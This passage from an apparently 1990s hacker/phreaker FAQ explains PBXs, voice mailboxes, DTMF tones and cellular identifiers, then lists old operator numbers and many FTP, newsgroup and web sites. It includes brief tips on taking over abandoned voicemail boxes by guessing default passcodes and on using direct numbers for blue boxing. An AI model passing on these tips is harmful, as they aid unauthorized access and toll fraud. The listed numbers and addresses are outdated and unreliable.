A PBX is a Private Branch Exchange. A PBX is a small telephone switch owned by a company or organization. Let's say your company has a thousand employees. Without a PBX, you would need a thousand phone lines. However, only 10% of your employees are talking on the phone at one time. What if you had a computer that automatically found an outside line every time one of your employees picked up the telephone. With this type of system, you could get by with only paying for one hundred phone lines. This is a PBX.

32. What is a VMB?

A VMB is a Voice Mail Box. A VMB is a computer that acts as an answering machine for hundreds or thousands of users. Each user will have their own Voice Mail Box on the system. Each mail box will have a box number and a pass code.

Without a passcode, you will usually be able to leave messages to users on the VMB system. With a passcode, you can read messages and administer a mailbox. Often, mailboxes will exist that were created by default or are no longer used. These mailboxes may be taken over by guessing their passcode. Often the passcode will be the mailbox number or a common number such as 1234.

33. What are the ABCD tones for?

The ABCD tones are simply additional DTFM tones that may be used in any way the standard (0-9) tones are used. The ABCD tones are used in the U.S. military telephone network (AutoVon), in some Automatic Call Distributor (ACD) systems, for control messages in some PBX systems, and in some amateur radio auto-patches.

In the AutoVon network, special telephones are equipped with ABCD keys. The ABCD keys are defined as such:

A - Flash
B - Flash override priority
C - Priority communication
D - Priority override

Using a built-in maintenance mode of the Automatic Call Distributor (ACD) systems once used by Directory Assistance operators, you could connect two callers together.

The purpose of the Silver Box is to create the ABCD tones.

See also "What are the DTMF Frequencies?"

34. What are the International Direct Numbers?

The numbers are used so that you may connect to an operator from a foreign telephone network, without incurring long distance charges. These numbers may be useful in blue boxing, as many countries still have older switching equipment in use.

Australia	(800)682-2878	
Austria	(800)624-0043	
Belgium	(800)472-0032	
Belize	(800)235-1154	
Bermuda	(800)232-2067	
Brazil	(800)344-1055	
British VI	(800)278-6585	
Cayman	(800)852-3653	
Chile	(800)552-0056	
China (Shanghai)	(800)532-4462	
Costa Rica	(800)252-5114	
Denmark	(800)762-0045	
El Salvador	(800)422-2425	
Finland	(800)232-0358	
France	(800)537-2623	
Germany	(800)292-0049	
Greece	(800)443-5527	
Guam	(800)367-4826	
HK	(800)992-2323	
Hungary	(800)352-9469	
Indonesia	(800)242-4757	
Ireland	(800)562-6262	
Italy	(800)543-7662	
Japan	(800)543-0051	
Korea	(800)822-8256	
Macau	(800)622-2821	
Malaysia	(800)772-7369	
Netherlands	(800)432-0031	
Norway	(800)292-0047	
New Zealand	(800)248-0064	
Panama	(800)872-6106	
Portugal	(800)822-2776	
Philippines	(800)336-7445	
Singapore	(800)822-6588	
Spain	(800)247-7246	
Sweden	(800)345-0046	
Taiwan	(800)626-0979	
Thailand	(800)342-0066	
Turkey	(800)828-2646	
UK	(800)445-5667	
Uruguay	(800)245-8411	
Yugoslavia	(800)367-9842	(Belgrade)
	367-9841	(Zagreb)
USA from outside	(800)874-4000	Ext. 107

Section C: Cellular

01. What is an MTSO?

MTSO stands for Mobile Telephone Switching Office. The MTSO is the switching office that connects all of the individual cell towers to the Central Office (CO).

The MTSO is responsible for monitoring the relative signal strength of your cellular phone as reported by each of the cell towers, and switching your conversation to the cell tower which will give you the best possible reception.

02. What is a NAM?

NAM stands for Number Assignment Module. The NAM is the EPROM that holds information such as the MIN and SIDH. Cellular fraud is committed by modifying the information stored in this component.

03. What is an ESN?

ESN stands for Electronic Serial Number. The is the serial number of your cellular telephone.

04. What is an MIN?

MIN stands for Mobile Identification Number. This is the phone number of the cellular telephone.

05. What is a SCM?

SCM stands for Station Class Mark. The SCM is a 4 bit number which holds three different pieces of information. Your cellular telephone transmits this information (and more) to the cell tower. Bit 1 of the SCM tells the cell tower whether your cellphone uses the older 666 channel cellular system, or the newer 832 channel cellular system. The expansion to 832 channels occured in 1988. Bit 2 tells the cellular system whether your cellular telephone is a mobile unit or a voice activated cellular telephone. Bit's 3 and 4 tell the cell tower what power your cellular telephone should be transmitting on.

```
Bit 1:    0 == 666 channels
          1 == 832 channels

Bit 2:    0 == Mobile cellular telephone
          1 == Voice activated cellular telephone

Bit 3/4: 00 == 3.0 watts (Mobiles)
         01 == 1.2 watts (Transportables)
         10 == .06 watts (Portables)
         11 == Reserved for future use
```

06. What is a SIDH?

SIDH stands for System Identification for Home System. The SIDH in your cellular telephone tells the cellular system what area your cellular service originates from. This is used in roaming (making cellular calls when in an area not served by your cellular provider).

Every geographical region has two SIDH codes, one for the wireline carrier and one for the nonwireline carrier. These are the two companies that are legally allowed to provide cellular telephone service in that region. The wireline carrier is usually your local telephone company, while the nonwireline carrier will be another company. The SIDH for the wireline carrier is always an even number, while the SIDH for the nonwireline carrier is always an odd number. The wireline carrier is also known as the Side-B carrier and the non-wireline carrier is also known as the Side-A carrier.

07. What are the forward/reverse channels?

Forward channels are the frequencies the cell towers use to talk to your cellular telephone. Reverse channels are the frequencies your cellular telephone uses to talk to the cell towers.

The forward channel is usually 45 mhz above the reverse channel. For example, if the reverse channel is at 824 mhz, the forward channel would be at 869 mhz.

Section D: Resources
~~~~~~~~~~~~~~~~~~~~

01. What are some ftp sites of interest to hackers?

N	204.215.84.2	/pub/dmackey	
	2600.com		(2600 Magazine)
	aeneas.mit.edu		(Kerberos)
	alex.sp.cs.cmu.edu	/links/security	(Misc)
	asylum.sf.ca.us		(CyberWarriors of Xanadu)
N	atari.archive.umich.edu	/pub/atari/Utilities/pgp261st.zip	(Atari PGP)
	athena-dist.mit.edu	/pub/ATHENA	(Athena Project)
	atlantis.utmb.edu		(Anti-virus)
	bellcore.com		(Bellcore)
	cert.org		(CERT)
	ciac.llnl.gov		(CIAC)
	clark.net	/pub/jcase	(H/P)
	cnit.nsk.su	/pub/security	(Security)
	coast.cs.purdue.edu	/pub	(Security/COAST)
	coombs.anu.edu.au	/pub/security	(Security)
	csrc.ncsl.nist.gov		(NIST Security)
	dartmouth.edu	/pub/security	(Security)
	ds.internic.net		(Internet documents)
N	dutiws.twi.tudelft.nl	/pub/novell	
	etext.archive.umich.edu	/pub/Zines/PrivateLine	(PrivateLine)
N	fastlane.net	/pub/nomad	
	ftp.3com.com	/pub/Orange-Book	(Orange Book)
	ftp.acns.nwu.edu	/pub	(Mac Anti-virus)
	ftp.acsu.buffalo.edu	/pub/security & /pub/irc	(Security & IRC)
	ftp.alantec.com	/pub/tcpr	(Tcpr)
	ftp.armory.com	/pub/user/kmartind	(H/P)
	ftp.armory.com	/pub/user/swallow	(H/P)
	ftp.auscert.org.au	/pub	(Australian CERT)
	ftp.cerf.net	/pub/software/unix/security	(CERFnet)
	ftp.cert.dfn.de		(FIRST)
	ftp.cisco.com		(Cisco)
	ftp.commerce.net	/pub/standards/drafts/shttp.txt	(Secure HyperText)
	ftp.cs.colorado.edu		
	ftp.cs.ruu.nl	/pub/SECURITY	(Security & PGP)
	ftp.cs.uwm.edu	/pub/comp-privacy	(Privacy Digest)
	ftp.cs.vu.nl		
	ftp.cs.yale.edu		
	ftp.csi.forth.gr	/pub/security	
	ftp.csl.sri.com	/pub/nides	(SRI)
	ftp.csn.org /mpj		(Cryptology)
	ftp.csua.berkeley.edu	/pub/cypherpunks	(Crypto)
~~~~~~~~~~~~~~~~~~~~

	ftp.delmarva.com		
N	ftp.demon.co.uk	/pub/misc/0800num.txt	(0800/0500 numbers)
	ftp.denet.dk	/pub/security/tools/satan	
	ftp.digex.net	/pub/access/dunk	
	ftp.dsi.unimi.it	/pub/security/crypt	(Crypto)
	ftp.dstc.edu.au	/pub/security/satan	
	ftp.ee.lbl.gov		
	ftp.eff.org	/pub/Publications/CuD	(EFF)
	ftp.elelab.nsc.co.jp	/pub/security	(Security)
	ftp.etext.org		(Etext)
	ftp.fc.net	/pub/deadkat	(TNO)
	ftp.fc.net	/pub/defcon	(DefCon)
	ftp.fc.net	/pub/defcon/BBEEP	(BlueBeep)
	ftp.fc.net	/pub/phrack	(Phrack)
	ftp.foobar.com		
	ftp.funet.fi	/pub/doc/CuD	
	ftp.gate.net	/pub/users/laura	
	ftp.gate.net	/pub/users/wakko	
	ftp.giga.or.at	/pub/hacker/	(H/P)
	ftp.greatcircle.com	/pub/firewalls	(Firewalls)
	ftp.IEunet.ie	/pub/security	(Security)
	ftp.ifi.uio.no		
	ftp.indirect.com	/www/evildawg/public_access/C&N/	
	ftp.info.fundp.ac.be		
	ftp.informatik.uni-hamburg.de		
	ftp.informatik.uni-kiel.de	/pub/sources/security	
	ftp.inoc.dl.nec.com	/pub/security	(Security)
	ftp.isi.edu		
	ftp.lava.net	/users/oracle/	(H/P
N	ftp.leo.org/pub/com/os/os2/crypt		
	ftp.lerc.nasa.gov	/security	
	ftp.llnl.gov	/pub	(CIAC)
	ftp.luth.se	/pub/unix/security	
	ftp.lysator.liu.se		
	ftp.mcs.anl.gov	/pub/security	
	ftp.microserve.net	/ppp-pop/strata/mac	(Mac)
	ftp.near.net	/security/archives/phrack	(Zines)
	ftp.nec.com		
	ftp.net.ohio-state.edu	/pub/security/satan	
	ftp.netcom.com	/pub/br/bradleym	(Virii)
	ftp.netcom.com	/pub/da/daemon9	(H/P)
	ftp.netcom.com	/pub/fi/filbert	
N	ftp.netcom.com	/pub/gr/grady	
N	ftp.netcom.com	/pub/il/illusion	(H/P+Virus)
N	ftp.netcom.com	/pub/je/jericho	(H/P)
	ftp.netcom.com	/pub/le/lewiz	(Social Engineering)
N	ftp.netcom.com	/pub/ty/tym	(TYM)
	ftp.netcom.com	/pub/va/vandal	(DnA)
	ftp.netcom.com	/pub/wt/wtech/	
N	ftp.netcom.com	/pub/zi/zigweed	(H/P)
	ftp.netcom.com	/pub/zz/zzyzx	(H/P)
	ftp.netsys.com		
	ftp.ocs.mq.edu.au	/PC/Crypt	(Cryptology)
	ftp.ox.ac.uk	/pub/comp/security	
	ftp.ox.ac.uk	/pub/crypto	(Cryptology)
	ftp.ox.ac.uk	/pub/wordlists	(Wordlists)
	ftp.paranoia.com	/pub/toneloc/tl110.zip	(ToneLoc)
N	ftp.pipex.net	/pub/areacode	(uk areacodes)
	ftp.pop.psu.edu		
	ftp.primenet.com	/users/i/insphrk	
	ftp.primenet.com	/users/k/kludge	(H/P)
	ftp.primenet.com	/users/s/scuzzy	(Copy Protection)
	ftp.primus.com	/pub/security	(Security)
	ftp.psy.uq.oz.au		

	ftp.psy.uq.oz.au	/pub/DES	
	ftp.rahul.net	/pub/conquest/DeadelviS/script/vms/	
	ftp.rahul.net	/pub/lps	(Home of the FAQ)
	ftp.sert.edu.au		
	ftp.sgi.com		
N	ftp.smartlink.net	/pub/users/mikes/haq	
	ftp.std.com	/archives/alt.locksmithing	(Locksmithing)
	ftp.std.com	/obi/Mischief/	(MIT Guide to Locks)
	ftp.std.com	/obi/Phracks	(Zines)
	ftp.sunet.se	/pub/network/monitoring	(Ethernet sniffers)
	ftp.sura.net	/pub/security	(SURAnet)
	ftp.technet.sg		
U	ftp.technion.ac.il		
	ftp.tis.com	/pub	(TIS)
	ftp.tisl.ukans.edu	/pub/security	
	ftp.uni-koeln.de		(Wordlists)
	ftp.uspto.gov		
	ftp.uu.net	/doc/literary/obi/Phracks	(Zines)
	ftp.uwp.edu	/pub/dos/romulus/cracks	(Copy Protection)
	ftp.vis.colostate.edu		
	ftp.vix.com		
	ftp.vortex.com		
	ftp.warwick.ac.uk	/pub/cud	(Zines)
	ftp.wi.leidenuniv.nl	/pub/security	
	ftp.win.tue.nl	/pub/security	(Security)
	ftp.winternet.com	/users/nitehwk	(H/P)
	ftp.wustl.edu	/doc/EFF	(EFF)
	ftp.zoom.com		
	ftp.zrz.tu-berlin.de/pub/security/virus/texts/crypto		(Cryptology)
	garbo.uwasa.fi	/pc/crypt	(Cryptology)
N	gemini.tuc.noao.edu	/pub/grandi	
	gti.net	/pub/safetynet	
	gumby.dsd.trw.com		
	hack-this.pc.cc.cmu.edu		(Down for Summer)
	heffer.lab.csuchico.edu		(Third Stone From The Sun)
	hplyot.obspm.fr		
	info.mcs.anl.gov		
N	infonexus.com	/pub	(The Guild)
	jerico.usc.edu		
	l0pht.com		(The L0pht)
	lcs.mit.edu	/telecom-archives	(Telecom archives)
	lod.com		(Legion of Doom)
	mac.archive.umich.edu		
	mary.iia.org	/pub/users/patriot	(Misc)
	monet.ccs.itd.umich.edu		
N	net-dist.mit.edu	/pub/pgp	
	net.tamu.edu	/pub/security/TAMU	(Security)
	net23.com	/pub	(Max Headroom)
	nic.ddn.mil	/scc	(DDN Security)
	nic.sura.net	/pub/security	
	oak.oakland.edu	/pub/hamradio	(Ham Radio)
	oak.oakland.edu	/SimTel/msdos/sound	(DTMF decoders)
	oak.oakland.edu	/SimTel/msdos/sysutil	(BIOS attackers)
	parcftp.xerox.com		
	prism.nmt.edu	/pub/misc	(Terrorist Handbook)
	pyrite.rutgers.edu	/pub/security	(Security)
	relay.cs.toronto.edu	/doc/telecom-archives	(Telecom)
	rena.dit.co.jp	/pub/security	(Security)
	research.att.com	/dist/internet_security	(AT&T)
	ripem.msu.edu	/pub/crypt	(Ripem)
N	rmii.com	/pub2/KRaD	(KRaD Magazine)
	rtfm.mit.edu		(Etext)
	rtfm.mit.edu	/pub/usenet-by-group	(Usenet FAQ's)
	scss3.cl.msu.edu	/pub/crypt	(Cryptology)

N	sgigate.sgi.com	/Security	(SGI Security)
	sierra.stanford.edu		
	spy.org		(CSC)
N	src.doc.ic.ac.uk	/usenet/uk.telecom	(uk.telecom archives)
	suburbia.apana.org.au	/pub/unix/security	(Security)
	sunsolve1.sun.com		
	theta.iis.u-tokyo.ac.jp	/pub1/security	(Security)
	titania.mathematik.uni-ulm.de	/pub/security	(Security)
	toxicwaste.mit.edu	/pub/rsa129/README	(Breaking RSA)
	ugle.unit.no		
	unipc20.unimed.sintef.no		
	vic.cc.purdue.edu		
	vixen.cso.uiuc.edu	/security	
N	web.mit.edu		
	whacked.l0pht.com		(Mac + H/P)
	wimsey.bc.ca	/pub/crypto	(Cryptology)
N	wuarchive.wustl.edu	/pub/aminet/util/crypt	

02. What are some fsp sites of interest to hackers?

None at this time.

03. What are some newsgroups of interest to hackers?

	alt.2600	Do it 'til it hertz
N	alt.2600hz	
N	alt.2600.codez	
N	alt.2600.debate	
N	alt.2600.moderated	
	alt.cellular	
	alt.cellular-phone-tech	Brilliant telephony mind blow netnews naming
	alt.comp.virus	An unmoderated forum for discussing viruses
	alt.comp.virus.source.code	
	alt.cracks	Heavy toolbelt wearers of the world, unite
	alt.cyberpunk	High-tech low-life.
	alt.cyberspace	Cyberspace and how it should work.
	alt.dcom.telecom	Discussion of telecommunications technology
	alt.engr.explosives	[no description available]
	alt.fan.kevin-mitnick	
	alt.fan.lewiz	Lewis De Payne fan club
	alt.hackers	Descriptions of projects currently under development
	alt.hackintosh	
	alt.locksmithing	You locked your keys in *where*?
	alt.hackers.malicious	The really bad guys - don't take candy from them
	alt.ph.uk	United Kingdom version of alt.2600
	alt.privacy.anon-server	Tech. & policy matters of anonymous contact servers
	alt.radio.pirate	Hide the gear, here comes the magic station-wagons.
	alt.radio.scanner	Discussion of scanning radio receivers.
	alt.satellite.tv.europe	All about European satellite tv
	alt.security	Security issues on computer systems
	alt.security.index	Pointers to good stuff in misc.security (Moderated)
	alt.security.keydist	Exchange of keys for public key encryption systems
	alt.security.pgp	The Pretty Good Privacy package
	alt.security.ripem	A secure email system illegal to export from the US
	comp.dcom.cellular	[no description available]
	comp.dcom.telecom	Telecommunications digest (Moderated)
	comp.dcom.telecom.tech	[no description available]
	comp.org.cpsr.announce	Computer Professionals for Social Responsibility
	comp.org.cpsr.talk	Issues of computing and social responsibility
	comp.org.eff.news	News from the Electronic Frontiers Foundation
	comp.org.eff.talk	Discussion of EFF goals, strategies, etc.
N	comp.os.netware.security	Netware Security issues

	comp.protocols.kerberos	The Kerberos authentification server
	comp.protocols.tcp-ip	TCP and IP network protocols
	comp.risks	Risks to the public from computers & users
	comp.security.announce	Announcements from the CERT about security
N	comp.security.firewalls	Anything pertaining to network firewall security
	comp.security.misc	Security issues of computers and networks
	comp.security.unix	Discussion of Unix security
	comp.virus	Computer viruses & security (Moderated)
	de.org.ccc	Mitteilungen des CCC e.V.
	misc.security	Security in general, not just computers (Moderated)
	rec.pyrotechnics	Fireworks, rocketry, safety, & other topics
	rec.radio.scanner	[no description available]
	rec.video.cable-tv	Technical and regulatory issues of cable television
	sci.crypt	Different methods of data en/decryption

04. What are some telnet sites of interest to hackers?

	anarchy-online.com	
	ntiabbs.ntia.doc.gov	(NTIA)
	l0pht.com	(The L0pht)
	sfpg.gcomm.com	(The Floating Pancreas)
	telnet lust.isca.uiowa.edu 2600	(underground bbs) (temporarily down)
	pcspm2.dar.csiro.au	(Virtual Doughnutland BBS)
	prince.carleton.ca 31337	(Twilight of The Idols)
N	spy.org	(Computer Systems Consulting)

05. What are some gopher sites of interest to hackers?

	ba.com	(Bell Atlantic)
N	cell-relay.indiana.edu	(Cell Relay Retreat)
	csrc.ncsl.nist.gov	(NIST Security Gopher)
	gopher.acm.org	(SIGSAC (Security, Audit & Control))
	gopher.cpsr.org	(Computer Professionals for Social Responsibility)
	gopher.eff.org	(Electonic Frontier Foundation)
N	gopher.panix.com	(Panix)
	gw.PacBell.com	(Pacific Bell)
	iitf.doc.gov	(NITA -- IITF)
N	info.itu.ch	(International Telegraph Union)
	ncjrs.aspensys.com	(National Criminal Justice Reference Service)
	oss.net	(Open Source Solutions)
	spy.org	(Computer Systems Consulting)
	wiretap.spies.com	(Wiretap)

06. What are some World wide Web (WWW) sites of interest to hackers?

N	134.220.198.66:8000	(Peter Strangman's)
U	alcuin.plymouth.edu/~jay/underground.html	(Underground Links)
U	all.net	(American Society for Industrial Security Management)
	alumni.caltech.edu/~dank/isdn/	(ISDN)
N	asearch.mccmedia.com/www-security.html	(WWW-security info)
	aset.rsoc.rockwell.com	(NASA/MOD AIS Security)
	aset.rsoc.rockwell.com/exhibit.html	(Tech. for Info Sec)
	att.net/dir800	(800 directory)
	ausg.dartmouth.edu/security.html	(UNIX Security Topics)
N	bianca.com/bump/ua	(Unauthorized Access Home Page)
N	ccnga.uwaterloo.ca/~jscouria/gsm.html	(GSM Specification)
N	cell-relay.indiana.edu/cell-relay	(Cell Relay Retreat)
N	ciac.llnl.gov	(CIAC Web Site)
N	community.net/community/all/home/solano/sbaldwin	
N	cs.purdue.edu/homes/spaf/coast.html	(The COAST Project and Laboratory
N	csbh.mhv.net/dcypher/home.html	(Dcypher's Home Page)
N	csrc.ncsl.nist.gov	(NIST)

```
N cwix.com/cwplc                                  (Cable and Wireless)
  daemon.apana.org.au/~longi/
N dcpu1.cs.york.ac.uk:6666/fisher/telecom        (Embryonic Telephone History Page
N dfw.net/~aleph1                                 (The Uebercracker's Security Web)
N draco.centerline.com:8080/~franl/crypto.html   (Crypto)
N draco.centerline.com:8080/~franl/privacy/bacard-review.html
N enigma.pc.cc.cmu.edu/~caffeine/home.html       (Caffeine's Home Page)
N everest.cs.ucdavis.edu/Security.html           (UCDavis.edu Security Page)
N everest.cs.ucdavis.edu/slides/slides.html      (Security Lab Slides)
  ezinfo.ethz.ch/ETH/D-REOK/fsk/fsk_homepage.html (CSSCR)
N fastlane.net/homepages/thegnome                (Simple Nomad)
N first.org                                       (FIRST)
N freeside.com/phrack.html                        (Phrack Magazine)
N frosted.mhv.net/keytrap.html
N ftp.arpa.mil                                    (ARPA home page)
  ftp.tamu.edu/~abr8030/security.html            (Security)
N grove.ufl.edu/~bytor                            (Bytor home page)
N hightop.nrl.navy.mil/potpourri.html            (MOD Security)
N hightop.nrl.navy.mil/rainbow.html              (MOD Rainbow Books)
  ice-www.larc.nasa.gov/ICE/papers/hacker-crackdown.html (Sterling)
  ice-www.larc.nasa.gov/ICE/papers/nis-requirements.html (ICE NIS)
  info.bellcore.com/BETSI/betsi.html             (Betsi)
N info.gte.com                                    (GTE Labrotories)
N info.mcc.ac.uk/Orange                           (Orange)
  infosec.nosc.mil/infosec.html                  (SPAWAR INFOSEC)
N infosec.nosc.mil/navcirt.html                  (NAVCIRT)
N iss.net/iss                                     (Internet Security Systems)
N jumper.mcc.ac.uk/~afs/telecom                  (UK Telecom Pricing Information)
  l0pht.com                                       (The l0pht)
  l0pht.com/~oblivion/IIRG.html                  (Phantasy Magazine)
N l0pht.com/~spacerog/index.html                 (Whacked Mac Archives)
N lcs.mit.edu/telecom-archives/areacodes/guide   (North American Area Codes)
N lcs.mit.edu/telecom-archives/npa.800           (1-800 Info)
N lcs.mit.edu/telecom-archives/npa.900           (1-900 Info)
N lod.com                                         (Legion of Doom)
N lod.com/~gatsby                                 (Gatsby)
N lod.com/~tabas                                  (Mark Tabas -- LOD)
N lod.com/~vampire/emptime7                       (Empire Times)
N magicnet.net/xtabi/netscape/links/cypher.html  (Cryptology)
N mars.superlink.net/user/esquire                (Red box info)
  matrix.resnet.upenn.edu/rourke                 (FakeMail FAQ)
  mindlink.jolt.com                               (The Secrets of LockPicking)
N mindlink.net/A7657                              (Stephen H Kawamoto's Home Page)
  mls.saic.com                                    (SAIC MLS)
N mnementh.cs.adfa.oz.au/Lawrie_Brown.html       (Lawrie Brown's crypto bibliograp
  motserv.indirect.com                            (Motorola)
U naic.nasa.gov/fbi                               (FBI information)
U nasirc.nasa.gov/NASIRC_home.html               (NASIRC)
  obscura.com/~loki/                              (Cryptology)
  ophie.hughes.american.edu/~ophie               (Ophie)
  oregano.sl.pitt.edu/index.htm
N outpost.callnet.com/outpost.html
  pages.ripco.com:8080/~glr/glr.html             (Full Disclosure)
U peg.pegasus.oz.au                               (EFF Australia)
N quetel.qc.ca/qt0000ag.htm                       (Quebec-Telephone)
N resudox.net/bio/mainpage.html                  (BioHazard's Home Page)
N ripco.com:8080/~glr/glr.html                   (Full Disclosure)
N rschp2.anu.edu.au:8080/crypt.html
N scitsc.wlv.ac.uk/~cs6171/hack                  (UNIX Security)
U seclab.cs.ucdavis.edu/Security.html            (Security)
U seclab.cs.ucdavis.edu/slides/slides.html       (Security Lab Slides)
N sfpg.gcomm.com/mitnick/mitnick.htm             (3wP Kevin Mitnick WWW HomePage)
N smurfland.cit.buffalo.edu/NetMan/index.html    (Network Management)
N sunsite.unc.edu/sun/inform/sun-info.html       (Sun Microsystems Sponsor Page)
```

```
N support.mayfield.hp.com                       (Hewlett Packard SupportLine Serv
N tamsun.tamu.edu/~clm3840/hacking.html         (Hacking/Phreaking)
  the-tech.mit.edu                              (LaMacchia case info)
N town.hall.org/university/security/stoll/cliff.html (Cliff Stoll)
  turnpike.net/emporium/C/celestial/celest.html (Detective Databases 1995)
  ucs.orst.edu:8001/mintro.html                 (Micro Power Broadcasting)
  underground.org                               (Eubercrackers)
  unixg.ubc.ca:780/~jyee/                       (Cell)
  w3.gti.net/safety
N web.mit.edu/network/pgp.html                  (Getting PGP)
N web.nec.com/products/necam/mrd/cellphones/index.html(NEC)
U weber.u.washington.edu/~phantom/cpunk/index.html  (Cryptology)
N wildsau.idv.uni-linz.ac.at/~klon/underground/underground.html (Klon's Undergrou
  wintermute.itd.nrl.navy.mil/5544.html         (Network Security)
N www-mitpress.mit.edu/mitp/recent-books/comp/pgp-source.html
N www-ns.rutgers.edu/www-security/index.html    (Rutger's documents on WWW securi
U www-personal.engin.umich.edu/~jgotts/underground/boxes.html   (Box info)
U www-personal.engin.umich.edu/~jgotts/underground/hack-faq.html(This document)
N www-swiss.ai.mit.edu/~bal/pks-toplev.html     (Findingsomeone's PGP key)
  www.2600.com                                  (2600 Magazine)
N www.8lgm.org                                  (8lgm Security Advisories)
  www.aads.net                                  (Ameritech)
N www.access.gpo.gov/su_docs/
N www.aloha.com/~seanw/index.html
  www.alw.nih.gov/WWW/security.html             (Unix Security)
N www.artcom.de/CCC/hotlist.html                (Chaos Computer Club Hotlist)
N www.artech-house.com/artech.html              (Artech House)
N www.asg.unb.ca                                (Atlantic Systems Group Mosaic In
  www.aspentec.com/~frzmtdb/fun/hacker.html
N www.aston.ac.uk/~bromejt/mobile.html          (Mobile Phone Service Locator)
N www.att.com                                   (ATT)
N www.auditel.com                               (Auditel)
N www.auscert.org.au                            (Australian CERT)
N www.axent.com/axent                           (Axent Technologies)
  www.ba.com                                    (Bell Atlantic)
N www.bctel.com                                 (BC Tel)
  www.beckman.uiuc.edu/groups/biss/VirtualLibrary/xsecurity.html(X-Win)
N www.bell.ca                                   (Bell Canada)
  www.bell.com                                  (MFJ Task Force)
  www.bellcore.com/SECURITY/security.html       (Bellcore Security Products)
N www.border.com                                (Border Network Technologies)
  www.brad.ac.uk/~nasmith/index.html
N www.brad.ac.uk/~nasmith/underground.html      (Undergound WWW Sites)
  www.bst.bls.com                               (BellSouth)
N www.bt.co.uk                                  (British Telecom)
N www.business.co.uk/cellnet                    (Cellnet)
N www.c2.org:80/remail/by-www.html              (WWW-based remailing form)
  www.c3.lanl.gov/~mcn                          (Lanl)
  www.cam.org/~gagnon                           (OCP's)
U www.careermosaic.com/cm/uswest                (USWest)
N www.castle.net/~kobrien/telecom.html          (Telecom)
N www.cco.caltech.edu/~rknop/amiga_pgp26.html
N www.cdt.org/cda.html
N www.cec.wustl.edu/~dmm2/egs/egs.html          (En Garde Systems)
  www.cert.dfn.de/                              (German First Team)
N www.checkpoint.com                            (Checkpoint)
N www.chem.surrey.ac.uk/~ch11mh/secure.html     (Another page on secure WWW serve
N www.cis.ksu.edu/~psiber/fortress/phreak/ph2reak.html (Are You Some Kind Of PHRE
  www.cis.ohio-state.edu/hypertext/faq/usenet/alt-2600-faq/faq.html
N www.cityscape.co.uk/users/ek80/index.html     (Inside Cable Cover)
N www.cohesive.com                              (Cohesive Systems)
  www.commerce.net/information/standards/drafts/shttp.txt (HyperText)
  www.con.wesleyan.edu/~triemer/network/docservs.html
  www.contrib.andrew.cmu.edu:8001/usr/dscw/home.html
```

```
N www.cosc.georgetown.edu/~denning/crypto       (The Cryptography Project)
N www.cost.se                                   (COST Computer Security Technolog
  www.cpsr.org/home                             (CPSR)
N www.crimson.com/isdn/telecomacry.txt          (Crimson's Telecommunications Acr
N www.crtc.gc.ca                                (CRTC - Canadian regulator)
N www.cs.berkeley.edu/~raph/remailer-list.html  (Anon remailer list)
U www.cs.cmu.edu:8001/afs/cs.cmu.edu/user/bsy/www/sec.html  (CMU Security)
U www.cs.purdue.edu/coast/coast.html            (Coast)
N www.cs.purdue.edu/pcert/pcert.html            (PCERT)
N www.cs.tu-bs.de                               (Network management Tools)
  www.cs.tufts.edu/~mcable/cypher/alerts/alerts.html (Cypherpunk)
  www.cs.umd.edu/~lgas                          (Laughing Gas)
N www.cs.umd.edu/~lgas/haquerwerld/haquer-individuals.html(Haquerwerld)
  www.csd.harris.com/secure_info.html           (Harris)
  www.csl.sri.com                               (SRI Computer Science Lab)
U www.csua.berekeley.edu/pub/cypherpunks/Home.html  (Cryptology)
N www.cwi.nl/cwi/people/Jack.Jansen/spunk/cookbook.html
N www.cyber.co.uk/~joyrex                       (Joyrex Cellular)
  www.cybercafe.org/cybercafe/pubtel/pubdir.html (CyberCafe)
N www.cygnus.com/~gnu/export.html               (Cryptography Export Control Arch
U www.datafellows.fi                            (Data Fellows (F-Prot)
N www.datasync.com/~sotmesc/sotmesc.html        (SotMESC)
N www.dcs.exeter.ac.uk/~aba                     (Cypherpunk)
  www.dct.ac.uk/~misb3cp/2600/faq.txt
N www.demon.co.uk/mobiles                       (C.C.Mobiles)
N www.dhp.com                                   (DataHaven Project)
N www.dhp.com/~pluvius                          (Pluvius' Home Page)
U www.digicash.com/ecash/ecash-home.html        (Ecash Home Page)
  www.digital.com/info/key-secure-index.html    (Digital Secure Systems)
  www.dnai.com/~gui/index.html
N www.dtic.dla.mil/defenselink                  (Office of the U.S. Secretary of
N www.dtic.dla.mil/iac                          (DoD Information Analysis Center
N www.eecs.nwu.edu/~jmyers/bugtraq/about.html
N www.eecs.nwu.edu/~jmyers/bugtraq/archives.html
  www.eecs.nwu.edu/~jmyers/bugtraq/index.html   (Bugtraq)
  www.eecs.nwu.edu/~jmyers/ids/index.html       (Intrusion Detection Systems)
N www.eff.org
N www.eff.org/pub/Alerts
N www.eff.org/pub/Net_info/Tools/Crypto/
  www.emap.co.uk/partners/racal-airtech         (Racal-Airtech)
  www.ensta.fr/internet/unix/sys_admin          (System administration)
N www.epic.org
N www.ericsson.nl                               (Ericsson)
  www.etext.org/Zines/                          (Zines)
N www.farmstead.com                             (Farmstead)
U www.fbi.gov/fbi/FBI_homepage.html             (FBI Homepage)
  www.fc.net/defcon                             (DefCon)
  www.fedworld.gov                              (Federal Government)
  www.first.org/first/                          (FIRST)
N www.fonorola.net                              (Fonorola (a Canadian carrier)
N www.frus.com                                  (Firewalls R Us)
  www.gbnet.net/kbridge                         (KarlBridge)
  www.getnet.com/crak                           (CRAK Software)
N www.getnet.com/~vision
N www.gold.net/users/cw78                       (FleXtel)
  www.greatcircle.com                           (Great Circle Associates)
N www.gsu.edu/~socrerx/catalog.html
N www.gta.com/index.html                        (Global Technology Associates)
N www.gti.net/grayarea                          (Gray Areas)
U www.hotwired.com                              (Wired Magazine)
  www.hpcc.gov/blue94/section.4.6.html          (NSA)
N www.hq2.telecom.ie                            (Telecom Eireann)
N www.iacr.org/~iacr                            (International Association of Cry
N www.ibmpcug.co.uk/~Vidtron                    (Videotron)
```

```
N www.ic.gov                                  (Central Intelligence Agency Home
N www.ifi.uio.no/~staalesc/PGP/home.html
N www.iia.org/~gautier/me.html                (Rich Gautier's Home Page)
N www.indirect.com/www/evildawg
  www.indirect.com/www/johnk/                 (CRAK Software)
N www.ingress.com                             (Ingress Communications)
N www.interaccess.com/trc/tsa.html
N www.io.org/~djcl/phoneb.html
N www.iquest.net/~oseidler                    (Oliver Seidler's WWW Page)
N www.itd.nrl.navy.mil/ITD/5540               (NRL Center for High Assurance Co
N www.itu.ch/TELECOM                          (Telecom '95)
N www.jagunet.com/~john/
N www.jedefense.com/jed.html                  (Journal of Electronic Defense)
N www.l0pht.com/cdc.html                      (Cult of the Dead Cow)
